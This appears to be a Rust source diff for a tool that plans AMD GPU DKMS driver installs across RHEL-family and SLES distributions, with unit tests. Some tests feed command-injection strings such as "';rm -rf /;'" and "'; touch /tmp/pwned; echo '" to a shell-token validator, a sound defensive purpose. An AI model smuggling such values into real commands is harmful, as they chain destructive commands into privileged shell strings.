let sudo = escalation.prefix(); + let mut commands = Vec::new(); + if dkms { + match distro { + DnfDriverDistro::Rhel | DnfDriverDistro::Generic => { + commands.extend( + rhel_kernel_prepare_commands(&version_id, escalation) + .into_iter() + .map(|command| driver_command(DriverCommandPhase::Prepare, &command)), + ); + } + DnfDriverDistro::Oracle => { + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}dnf install -y \"kernel-uek-devel-$(uname -r)\""), + )); + } + DnfDriverDistro::Rocky => { + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!( + "{sudo}dnf install -y kernel-headers kernel-devel kernel-devel-matched" + ), + )); + } + } + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}rpm --import https://repo.radeon.com/rocm/rocm.gpg.key"), + )); + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!( + "printf '%s\\n' '[amdgpu]' 'name=amdgpu' 'baseurl={}' 'enabled=1' 'priority=50' 'gpgcheck=1' 'gpgkey=https://repo.radeon.com/rocm/rocm.gpg.key' | {sudo}tee /etc/yum.repos.d/amdgpu.repo >/dev/null", + dnf_repo_baseurl(&repo_version_expr, &version_id, distro) + ), + )); + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}dnf clean all"), + )); + commands.push(driver_command( + DriverCommandPhase::Execute, + &format!("{sudo}dnf install -y amdgpu-dkms"), + )); + commands.extend([ + driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), + driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), + driver_command( + DriverCommandPhase::Verify, + "ls /dev/dri/renderD* >/dev/null", + ), + ]); + } + + DriverInstallPlan { + supported: true, + mutating: dkms, + policy: "linux_official_amd_dkms_wrapper".to_owned(), + os_id, + version_id, + codename, + repo_version_expr, + reason: if dkms { + "Plan uses AMD's documented DNF DKMS flow and requires explicit approval before execution." + } else { + "DKMS was not requested; this is a non-mutating preflight plan." + } + .to_owned(), + preflight_checks: if dkms { + let mut checks = driver_root_preflight_checks(escalation); + checks.push("`dnf` package manager is available".to_owned()); + checks.push( + "enterprise Linux repositories are registered and current before approval" + .to_owned(), + ); + checks + } else { + Vec::new() + }, + commands, + checks: vec![ + "dkms status amdgpu".to_owned(), + "/sys/module/amdgpu".to_owned(), + "/dev/kfd".to_owned(), + "/dev/dri/renderD*".to_owned(), + "amd-smi version if present".to_owned(), + "rocminfo if present".to_owned(), + ], + // Kernel module: not live until the machine comes back up. + reboot_required: true, + } +} + +fn sles_driver_plan( + os_id: String, + version_id: String, + codename: String, + repo_version_expr: String, + dkms: bool, + escalation: PrivilegeEscalation, +) -> DriverInstallPlan { + // Empty when already root, so no command depends on a `sudo` binary that a + // container or minimal image very likely does not have. + let sudo = escalation.prefix(); + let mut commands = Vec::new(); + if dkms { + commands.extend([ + driver_command( + DriverCommandPhase::Prepare, + &format!( + "{sudo}SUSEConnect -p sle-module-desktop-applications/{version_id}/x86_64" + ), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}SUSEConnect -p sle-module-development-tools/{version_id}/x86_64"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}SUSEConnect -p PackageHub/{version_id}/x86_64"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}zypper --non-interactive refresh"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}zypper --non-interactive install -y kernel-default-devel"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}rpm --import https://repo.radeon.com/rocm/rocm.gpg.key"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!( + "printf '%s\\n' '[amdgpu]' 'name=amdgpu' 'baseurl={}' 'enabled=1' 'autorefresh=0' 'type=rpm-md' 'gpgcheck=1' 'gpgkey=https://repo.radeon.com/rocm/rocm.gpg.key' | {sudo}tee /etc/zypp/repos.d/amdgpu.repo >/dev/null", + sles_repo_baseurl(&repo_version_expr, &version_id) + ), + ), + driver_command( + DriverCommandPhase::Prepare, + // `--gpg-auto-import-keys` is required here: `rpm --import` above + // only seeds the RPM keyring, but zypper tracks trusted + // *repository* signing keys separately and otherwise prompts to + // trust/reject the new repo's key on this refresh -- a prompt + // that would hang this unattended flow (no stdin attached). + &format!("{sudo}zypper --non-interactive --gpg-auto-import-keys refresh"), + ), + driver_command( + DriverCommandPhase::Execute, + &format!("{sudo}zypper --non-interactive install -y amdgpu-dkms"), + ), + driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), + driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), + driver_command( + DriverCommandPhase::Verify, + "ls /dev/dri/renderD* >/dev/null", + ), + ]); + } + + DriverInstallPlan { + supported: true, + mutating: dkms, + policy: "linux_official_amd_dkms_wrapper".to_owned(), + os_id, + version_id, + codename, + repo_version_expr, + reason: if dkms { + "Plan uses AMD's documented SLES DKMS flow and requires explicit approval before execution." + } else { + "DKMS was not requested; this is a non-mutating preflight plan." + } + .to_owned(), + preflight_checks: if dkms { + let mut checks = driver_root_preflight_checks(escalation); + checks.push("`zypper` package manager is available".to_owned()); + checks.push( + "`SUSEConnect` is available and the host is registered before approval".to_owned(), + ); + checks + } else { + Vec::new() + }, + commands, + checks: vec![ + "dkms status amdgpu".to_owned(), + "/sys/module/amdgpu".to_owned(), + "/dev/kfd".to_owned(), + "/dev/dri/renderD*".to_owned(), + "amd-smi version if present".to_owned(), + "rocminfo if present".to_owned(), + ], + // Kernel module: not live until the machine comes back up. + reboot_required: true, + } +} + +fn rhel_kernel_prepare_commands(version_id: &str, escalation: PrivilegeEscalation) -> Vec { + let sudo = escalation.prefix(); + if version_id.starts_with("8.") { + vec![ + format!("{sudo}dnf install -y \"kernel-headers-$(uname -r)\""), + format!("{sudo}dnf install -y \"kernel-devel-$(uname -r)\""), + ] + } else { + vec![ + format!("{sudo}dnf install -y \"kernel-headers-$(uname -r)\""), + format!("{sudo}dnf install -y \"kernel-devel-$(uname -r)\""), + format!("{sudo}dnf install -y \"kernel-devel-matched-$(uname -r)\""), + ] + } +} + +fn dnf_repo_baseurl(repo_version_expr: &str, version_id: &str, distro: DnfDriverDistro) -> String { + let repo_family = match distro { + DnfDriverDistro::Rhel => "rhel", + DnfDriverDistro::Oracle | DnfDriverDistro::Rocky | DnfDriverDistro::Generic => "el", + }; + let repo_version = dnf_repo_version_path(version_id); + format!( + "https://repo.radeon.com/amdgpu/{repo_version_expr}/{repo_family}/{repo_version}/main/x86_64" + ) +} + +fn sles_repo_baseurl(repo_version_expr: &str, version_id: &str) -> String { + format!("https://repo.radeon.com/amdgpu/{repo_version_expr}/sle/{version_id}/main/x86_64") +} + +fn dnf_repo_version_path(version_id: &str) -> String { + // AMD serves EL 8 and 10 from a major-version path (el8/, el10/, rhel/10/), + // but EL 9 from the point-release path (el/9.7/, rhel/9.6/). Keying on the + // major version keeps this correct for RHEL, Oracle Linux, and ID_LIKE-matched + // rebuilds alike, without depending on the specific distro `ID`. + let major = linux_major_version(version_id); + match major { + "8" | "10" => major.to_owned(), + _ => version_id.to_owned(), + } +} + +fn linux_major_version(version_id: &str) -> &str { + version_id.split('.').next().unwrap_or(version_id) +} + +fn codename_for_version(os_id: &str, version_id: &str) -> Option<&'static str> { + match (os_id, version_id) { + ("ubuntu", "22.04") => Some("jammy"), + ("ubuntu", "24.04") => Some("noble"), + ("ubuntu", "26.04") => Some("resolute"), + ("debian", "12") => Some("jammy"), + ("debian", "13") => Some("noble"), + _ => None, + } +} + +#[cfg(test)] +pub(crate) mod tests { + #[cfg(unix)] + use std::fs; + use std::path::PathBuf; + #[cfg(unix)] + use std::process::Command as ProcessCommand; + + use super::rocdxg::scoped_rocdxg_env; + use super::*; + use crate::tests::ScopedTestEnv; + + #[test] + fn resolve_shell_default_template_uses_default_when_env_unset() { + let _env = ScopedTestEnv::new(); + // A made-up variable name that nothing else sets, cleared under the lock, + // isolates the default path. + assert_eq!( + resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_REPO_VERSION:-7.2.4}"), + "7.2.4" + ); + } + + #[test] + fn resolve_shell_default_template_prefers_env_value_when_set() { + let mut env = ScopedTestEnv::new(); + let var = "ROCM_CLI_TEST_REPO_VERSION_OVERRIDE"; + env.set(var, "9.9.9"); + assert_eq!( + resolve_shell_default_template(&format!("${{{var}:-7.2.4}}")), + "9.9.9" + ); + } + + #[test] + fn resolve_shell_default_template_treats_empty_env_as_unset() { + let mut env = ScopedTestEnv::new(); + let var = "ROCM_CLI_TEST_REPO_VERSION_EMPTY"; + env.set(var, ""); + assert_eq!( + resolve_shell_default_template(&format!("${{{var}:-7.2.4}}")), + "7.2.4" + ); + } + + #[test] + fn resolve_shell_default_template_passes_through_non_template() { + assert_eq!(resolve_shell_default_template("7.2.4"), "7.2.4"); + } + + #[test] + fn resolve_shell_default_template_leaves_bare_var_untouched() { + let _env = ScopedTestEnv::new(); + // No `:-default`, so there is nothing to resolve to; the input must pass + // through unchanged rather than being partially rewritten. + assert_eq!( + resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_REPO_VERSION}"), + "${ROCM_CLI_TEST_UNSET_REPO_VERSION}" + ); + } + + #[test] + fn resolve_shell_default_template_leaves_nested_default_untouched() { + let _env = ScopedTestEnv::new(); + // A nested default is beyond the flat matcher; returning the literal + // input keeps a `${B:-x}` fragment from leaking as a "resolved" value. + assert_eq!( + resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_A:-${ROCM_CLI_TEST_UNSET_B:-x}}"), + "${ROCM_CLI_TEST_UNSET_A:-${ROCM_CLI_TEST_UNSET_B:-x}}" + ); + } + + #[test] + fn is_safe_shell_token_rejects_quote_and_semicolon_payloads() { + // The hostile-codename/version-id/os-id tests above only ever send + // `$(id)` through this filter, which proves the metacharacter + // denylist works for *that* payload -- but a widened character class + // that happened to still reject `$`, `(`, `)` while now accepting + // `'`/`;` would pass every one of them undetected. `'` breaks out of + // this value's enclosing single-quoted shell string outright, and + // `;` chains a second command once out, so both must be checked + // directly against the function itself, not only indirectly. + assert!(!is_safe_shell_token("6.2.1'")); + assert!(!is_safe_shell_token("6.2.1;rm")); + assert!(!is_safe_shell_token("';rm -rf /;'")); + // `/` cannot break out of the quotes, but it would let the override + // rewrite the repo URL path. + assert!(!is_safe_shell_token("6.2.1/../x")); + assert!(is_safe_shell_token("6.2.1")); + } + + pub(crate) fn test_examine(os: &str, wsl: bool) -> ExamineSummary { + ExamineSummary { + os: os.to_owned(), + arch: "x86_64".to_owned(), + kernel: Some("6.8.0-test".to_owned()), + distro: Some("test distro".to_owned()), + cpu: Some("AMD Ryzen".to_owned()), + system_ram_gib: Some(64.0), + interactive_terminal: false, + default_engine: "vllm".to_owned(), + detected_gfx_target: Some("gfx1201".to_owned()), + compatible_therock_family: Some("gfx120X-all".to_owned()), + detected_therock_family: None, + driver: rocm_core::DriverSummary { + policy: "linux_official_amd_dkms_wrapper".to_owned(), + status: "amdgpu_missing".to_owned(), + detail: Some("/dev/kfd missing".to_owned()), + windows: None, + }, + legacy_rocm: rocm_core::LegacyRocmSummary { + status: "not_detected".to_owned(), + paths: Vec::new(), + detail: None, + version: None, + }, + wsl: wsl.then_some(rocm_core::WslSummary { + is_wsl: true, + dxg_device: true, + dxcore: true, + librocdxg: false, + rocdxg_dids: false, + ldconfig_librocdxg: false, + rocminfo: false, + cargo: false, + detail: Some("missing librocdxg".to_owned()), + }), + managed_runtime_count: 0, + managed_service_count: 0, + model_cache_entries: 0, + config_dir: PathBuf::from("/tmp/config"), + data_dir: PathBuf::from("/tmp/data"), + cache_dir: PathBuf::from("/tmp/cache"), + } + } + + /// `text` as if read from `/etc/os-release`, for tests that only care + /// about the content and not the path — `rocm_core::hardware_root::OsRelease::found` + /// is `pub(crate)` inside `rocm-core`, so it isn't visible from this crate's + /// tests; this is the `apps/rocm`-side equivalent, used in place of + /// repeating the `OsRelease::Found { .. }` literal at every call site. + pub(crate) fn os_release_found(text: &str) -> rocm_core::hardware_root::OsRelease { + rocm_core::hardware_root::OsRelease::Found { + path: "/etc/os-release", + text: text.to_owned(), + } + } + + /// Every distro whose plan actually emits privileged commands, so the + /// escalation tests below sweep all of them rather than whichever one was + /// remembered. Adding a distro to the planner without adding it here would + /// leave its commands unswept. + fn dkms_planning_os_releases() -> Vec<(&'static str, &'static str)> { + vec![ + ( + "ubuntu", + "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", + ), + ("debian", "ID=debian\nVERSION_ID=\"12\"\n"), + ("rhel", "ID=rhel\nVERSION_ID=\"9.7\"\n"), + ("rhel-8", "ID=rhel\nVERSION_ID=\"8.10\"\n"), + ("oracle", "ID=ol\nVERSION_ID=\"9.7\"\n"), + ("rocky", "ID=rocky\nVERSION_ID=\"9.4\"\n"), + ("sles", "ID=sles\nVERSION_ID=\"15.7\"\n"), + ( + "almalinux-via-id-like", + "ID=almalinux\nVERSION_ID=\"9.4\"\nID_LIKE=\"rhel centos fedora\"\n", + ), + ] + } + + fn plan_commands(os_release: &str, escalation: PrivilegeEscalation) -> Vec { + build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + escalation, + ) + .commands + .into_iter() + .map(|command| command.command) + .collect() + } + + /// Rewrite every `KEY=value` / `KEY="value"` line of an os-release fixture + /// in single quotes, which `os-release(5)` permits just as it does double. + fn single_quoted(os_release: &str) -> String { + os_release + .lines() + .map(|line| match line.split_once('=') { + Some((key, value)) => format!("{key}='{}'", value.trim_matches('"')), + None => line.to_owned(), + }) + .collect::>() + .join("\n") + } + + /// How a distro quotes its `/etc/os-release` must not change the plan. + /// + /// `os-release(5)` allows single or double quotes, so every supported + /// distro, rewritten in single quotes, must plan exactly as it does in + /// double quotes. + #[test] + fn a_single_quoted_os_release_builds_the_same_plan() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + for (label, os_release) in dkms_planning_os_releases() { + let plan = |text: &str| { + build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(text), + true, + PrivilegeEscalation::Sudo, + ) + }; + let double = plan(os_release); + let single = plan(&single_quoted(os_release)); + assert!( + single.supported, + "{label}: unsupported when single-quoted: {}\n{}", + single.reason, + single_quoted(os_release) + ); + assert_eq!( + (single.os_id.as_str(), single.version_id.as_str()), + (double.os_id.as_str(), double.version_id.as_str()), + "{label}: quote style changed the distro read" + ); + assert_eq!( + single.execution_commands(), + double.execution_commands(), + "{label}: quote style changed the planned commands" + ); + } + } + + /// An unreadable os-release is refused as itself: the reason names the + /// offending line, and it is asserted together with what it claims — no + /// distro, no commands, nothing that mutates — and against an "unsupported + /// distro" reason, which would blame the distro instead. + #[test] + fn an_unreadable_os_release_names_its_line_and_plans_nothing() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found( + "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\nunset ID\n", + ), + true, + PrivilegeEscalation::Sudo, + ); + assert_eq!( + plan.reason, + "/etc/os-release line 4 is not a plain assignment: \"unset ID\"; no driver \ + commands were planned because the distro cannot be read. To fix it, remove \ + that line or rewrite it as NAME=value." + ); + assert!(!plan.supported); + assert!(plan.commands.is_empty(), "{:?}", plan.commands); + assert_eq!(plan.policy, "unreadable_os_release"); + // Nothing about the distro is claimed — not the `ubuntu`, `24.04` or + // `noble` the file assigns before the command — and the plan changes + // nothing, so it neither mutates nor needs a reboot. The one check it + // offers is the command that names the line. + assert_eq!( + ( + plan.os_id.as_str(), + plan.version_id.as_str(), + plan.codename.as_str() + ), + ("", "", "") + ); + assert!(!plan.mutating); + assert!(!plan.reboot_required); + assert!( + plan.preflight_checks.is_empty(), + "{:?}", + plan.preflight_checks + ); + assert_eq!(plan.checks, vec!["rocm examine".to_owned()]); + + // The rendered plan says so on one line, and does not also claim the + // distro is unsupported. + let rendered = render_driver_install_plan(&plan, false, true); + assert!( + rendered.contains("reason: /etc/os-release line 4 is not a plain assignment"), + "{rendered}" + ); + assert!(!rendered.contains("AMD-documented"), "{rendered}"); + assert!( + rendered.contains("execution_commands: "), + "{rendered}" + ); + } + + /// `build_driver_install_plan_read` is the one seam `install_driver` hands + /// its `real_os_release()` result to. Both are now one-line delegations + /// to `hardware_root::read_os_release`, so reverting either back to a raw + /// `/etc/os-release` read is a type error here, not a silent regression. + /// This still pins the behaviour at the seam itself: an `OsRelease` that + /// says the fallback path was read plans exactly what a primary-path read + /// with the same content would. + #[test] + fn a_fallback_read_plans_exactly_like_a_primary_read() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let examine = test_examine("linux", false); + let fallback = rocm_core::hardware_root::OsRelease::Found { + path: "/usr/lib/os-release", + text: "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n".to_owned(), + }; + let primary = rocm_core::hardware_root::OsRelease::Found { + path: "/etc/os-release", + text: "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n".to_owned(), + }; + + let from_fallback = + build_driver_install_plan_read(&examine, &fallback, true, PrivilegeEscalation::Sudo); + let from_primary = + build_driver_install_plan_read(&examine, &primary, true, PrivilegeEscalation::Sudo); + assert_eq!(from_fallback.os_id, "ubuntu"); + assert_eq!( + ( + from_fallback.os_id.clone(), + from_fallback.version_id.clone(), + from_fallback.codename.clone(), + from_fallback.reason.clone(), + from_fallback.execution_commands(), + ), + ( + from_primary.os_id.clone(), + from_primary.version_id.clone(), + from_primary.codename.clone(), + from_primary.reason.clone(), + from_primary.execution_commands(), + ), + ); + } + + /// A file that exists but could not be read plans nothing and names + /// itself, distinctly from both an unreadable *line* (which still comes + /// from a file that was read, see + /// [`an_unreadable_os_release_names_its_line_and_plans_nothing`]) and from + /// an unsupported distribution — which would send the user looking for a + /// support gap instead of a filesystem problem. + #[test] + fn an_unreadable_file_plans_nothing_and_names_itself() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let read = rocm_core::hardware_root::OsRelease::Unreadable { + path: "/usr/lib/os-release", + error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), + }; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &read, + true, + PrivilegeEscalation::Sudo, + ); + assert_eq!(plan.policy, "unreadable_os_release"); + assert!(!plan.supported); + assert!(plan.commands.is_empty(), "{:?}", plan.commands); + assert_eq!( + plan.reason, + "/usr/lib/os-release could not be read: denied; no driver commands were planned \ + because the distro cannot be read." + ); + } + + /// The unreadable-os-release branch resolves `repo_version_expr` via the + /// same [`resolve_repo_version_expr`] call the normal path uses, before + /// it ever builds an `unreadable_os_release_plan`. A malformed override + /// must still be refused here, not silently dropped because the distro + /// itself could not be identified. + #[test] + fn an_unreadable_os_release_still_refuses_a_malformed_version_override() { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set( + "ROCM_CLI_AMDGPU_DRIVER_VERSION", + "'; touch /tmp/pwned; echo '", + ); + let read = rocm_core::hardware_root::OsRelease::Unreadable { + path: "/usr/lib/os-release", + error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), + }; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &read, + true, + PrivilegeEscalation::Sudo, + ); + assert!(!plan.supported); + assert_eq!(plan.policy, "invalid_driver_version_override"); + assert!( + !plan.mutating, + "a refused override must not claim to mutate" + ); + assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); + assert!(plan.commands.is_empty()); + } + + /// The same malformed line as + /// [`an_unreadable_os_release_names_its_line_and_plans_nothing`], but read + /// through the fallback path: the reason must name `/usr/lib/os-release`, + /// not `/etc/os-release`. That test only exercises + /// [`os_release_found`]'s hardcoded `/etc/os-release` path, so a + /// regression that hardcoded the path back into + /// `build_driver_install_plan_read` would still pass it. + #[test] + fn a_fallback_reads_malformed_line_names_the_fallback_path() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let read = rocm_core::hardware_root::OsRelease::Found { + path: "/usr/lib/os-release", + text: "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\nunset ID\n".to_owned(), + }; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &read, + true, + PrivilegeEscalation::Sudo, + ); + assert_eq!( + plan.reason, + "/usr/lib/os-release line 4 is not a plain assignment: \"unset ID\"; no driver \ + commands were planned because the distro cannot be read. To fix it, remove \ + that line or rewrite it as NAME=value." + ); + assert!(!plan.supported); + assert!(plan.commands.is_empty(), "{:?}", plan.commands); + assert_eq!(plan.policy, "unreadable_os_release"); + } + + /// On WSL, `build_driver_install_plan_read`'s `Unreadable` branch must + /// not fire at all: WSL has its own guest-side os-release probe (see + /// `examine/wsl.rs`'s `WSL_REMOTE_PROBE`), so the local Rust-side read this + /// function receives is never authoritative for a WSL host, and the plan + /// must stay the ordinary `wsl_rocdxg` one — not `unreadable_os_release` — + /// regardless of what it says. Without the `reaches_os_release_parse` + /// guard this would plan nothing on a WSL host whose local read happens + /// to come back `Unreadable`, even though the guest-side probe may read + /// the distro just fine. + #[test] + fn a_wsl_host_ignores_an_unreadable_local_os_release_read() { + let _env = scoped_rocdxg_env(); + let read = rocm_core::hardware_root::OsRelease::Unreadable { + path: "/usr/lib/os-release", + error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), + }; + let plan = build_driver_install_plan_read( + &test_examine("linux", true), + &read, + true, + PrivilegeEscalation::Sudo, + ); + assert_eq!(plan.policy, "wsl_rocdxg"); + assert!(plan.supported); + assert!(plan.mutating); + } + + /// The Windows half of the same `reaches_os_release_parse` guard: a + /// native Windows host's driver install is `windows_validate_only` + /// regardless of what the local read says, since the Linux driver + /// install this plan guards is never attempted there. Without this half + /// of the guard, a Windows host whose `real_os_release()` happens to come + /// back `Unreadable` would wrongly take the Linux-only + /// `unreadable_os_release` policy instead. + #[test] + fn a_windows_host_ignores_an_unreadable_local_os_release_read() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let read = rocm_core::hardware_root::OsRelease::Unreadable { + path: "/usr/lib/os-release", + error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), + }; + let plan = build_driver_install_plan_read( + &test_examine("windows", false), + &read, + true, + PrivilegeEscalation::Sudo, + ); + assert_eq!(plan.policy, "windows_validate_only"); + assert!(!plan.supported); + assert!(!plan.mutating); + } + + /// With a duplicated key, the plan is built from the last assignment — the + /// one a shell keeps, and the one `rocm examine` reports, since both read + /// through `rocm_core::os_release`. + #[test] + fn a_duplicated_os_release_key_is_planned_from_its_last_assignment() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let text = "ID=debian\nVERSION_ID=\"12\"\nID=ubuntu\nVERSION_ID=\"24.04\"\n\ + VERSION_CODENAME=noble\n"; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(text), + true, + PrivilegeEscalation::Sudo, + ); + assert_eq!( + (plan.os_id.as_str(), plan.version_id.as_str()), + ("ubuntu", "24.04"), + "planned for the first assignment instead of the last" + ); + assert!(plan.supported, "{}", plan.reason); + } + + #[test] + fn driver_plan_as_root_never_emits_sudo() { + // The defect: every command was prefixed `sudo` unconditionally, so on a + // root host without the binary the first one died with `sudo: not found` + // before any driver work. This asserts the ABSENCE of `sudo` across every + // distro rather than checking known commands one by one — a templating + // site missed on some distro fails here instead of shipping. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + for (label, os_release) in dkms_planning_os_releases() { + let commands = plan_commands(os_release, PrivilegeEscalation::AlreadyRoot); + assert!( + !commands.is_empty(), + "{label}: expected a dkms plan to emit commands" + ); + for command in &commands { + assert!( + !command.contains("sudo"), + "{label}: a plan built as root must not invoke sudo, got `{command}`" + ); + } + } + } + + #[test] + fn driver_plan_off_root_still_escalates_every_privileged_command() { + // The other half of the contract: dropping `sudo` when root must not drop + // it when a normal user runs the same plan. Verify-phase commands are + // read-only probes and are deliberately unprivileged, so only the + // mutating phases are required to escalate. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + for (label, os_release) in dkms_planning_os_releases() { + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let privileged: Vec<&DriverPlanCommand> = plan + .commands + .iter() + .filter(|command| { + matches!( + command.phase, + DriverCommandPhase::Prepare | DriverCommandPhase::Execute + ) + }) + .collect(); + assert!(!privileged.is_empty(), "{label}: expected privileged steps"); + for command in privileged { + assert!( + command.command.contains("sudo "), + "{label}: a plan built off root must escalate, got `{}`", + command.command + ); + } + } + } + + #[test] + fn driver_plan_as_root_keeps_shell_pipelines_intact() { + // `sudo` also appears mid-pipeline (`| sudo tee`, `| sudo gpg`), which a + // naive "strip a leading prefix" fix would miss. The pipeline must survive + // with the escalation removed from the right-hand side only. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let ubuntu = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; + let commands = plan_commands(ubuntu, PrivilegeEscalation::AlreadyRoot); + assert!( + commands + .iter() + .any(|command| command.contains("| tee /etc/apt/sources.list.d/amdgpu.list")), + "the apt-source pipeline must still tee, unprefixed: {commands:?}" + ); + assert!( + commands.iter().any(|command| command + .contains("| gpg --batch --yes --dearmor -o /etc/apt/keyrings/rocm.gpg")), + "the keyring pipeline must still call gpg, unprefixed: {commands:?}" + ); + } + + #[test] + fn driver_plan_records_the_commands_it_will_actually_run() { + // `execution_commands()` is what lands in state.json. It must agree with + // the escalation the plan was built under, or the recorded history + // describes commands that never ran. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let ubuntu = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; + let as_root = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(ubuntu), + true, + PrivilegeEscalation::AlreadyRoot, + ); + assert!( + as_root + .execution_commands() + .iter() + .all(|command| !command.contains("sudo")), + "state.json must not record sudo commands for a root run" + ); + let off_root = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(ubuntu), + true, + PrivilegeEscalation::Sudo, + ); + assert!( + off_root + .execution_commands() + .iter() + .all(|command| command.contains("sudo ")), + "state.json must record the sudo commands a non-root run performs" + ); + } + + #[test] + fn driver_plan_as_root_drops_the_sudo_binary_precondition() { + // The preflight claimed `sudo` must be installed even when the plan no + // longer uses it — the same contradiction the bug report called out + // between the stated preconditions and what execution actually did. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + for (label, os_release) in dkms_planning_os_releases() { + let as_root = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::AlreadyRoot, + ); + assert!( + !as_root + .preflight_checks + .iter() + .any(|check| check.contains("`sudo` command is available")), + "{label}: a root plan must not require a sudo binary: {:?}", + as_root.preflight_checks + ); + let off_root = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + assert!( + off_root + .preflight_checks + .iter() + .any(|check| check.contains("`sudo` command is available")), + "{label}: a non-root plan still depends on a sudo binary" + ); + } + } + + #[test] + fn driver_plan_dry_run_repo_version_line_is_resolved() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Regression for the dry-run output leaking the wrong field (or, under + // the old shell-template scheme this replaced, a raw unresolved + // placeholder) on the `repo_version:` line instead of the version the + // plan actually resolved. + let os_release = r#" +ID=rhel +VERSION_ID="9.7" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(rendered.contains(" repo_version: latest"), "{rendered}"); + } + + #[test] + fn driver_plan_ubuntu_2404_uses_official_dkms_commands() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let commands = plan + .commands + .iter() + .map(|command| command.command.as_str()) + .collect::>(); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + assert!( + plan.preflight_checks + .iter() + .any(|check| check.contains("sudo -v")) + ); + assert!( + commands + .iter() + .any(|command| command.contains("linux-headers-$(uname -r)")) + ); + assert!( + commands + .iter() + .any(|command| command.contains("linux-modules-extra-$(uname -r)")) + ); + assert!( + commands + .iter() + .any(|command| command.contains("repo.radeon.com/amdgpu")) + ); + assert!( + commands + .iter() + .any(|command| command.contains("amdgpu-dkms")) + ); + let rendered = render_driver_install_plan(&plan, false, false); + assert!(rendered.contains("approval: required")); + assert!(rendered.contains("preflight_checks:")); + assert!(rendered.contains("root access: run as root, or ensure `sudo -v` succeeds")); + assert!(rendered.contains("execution_commands:")); + assert!(rendered.contains("Prepare: sudo apt-get update")); + assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); + assert!(rendered.contains("post_reboot_check_commands:")); + assert!(rendered.contains("dkms status amdgpu")); + assert!(rendered.contains("rerun with --yes")); + } + + #[test] + fn driver_plan_ubuntu_2604_plans_the_dkms_flow_with_the_resolute_suite() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="26.04" +VERSION_CODENAME=resolute +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + 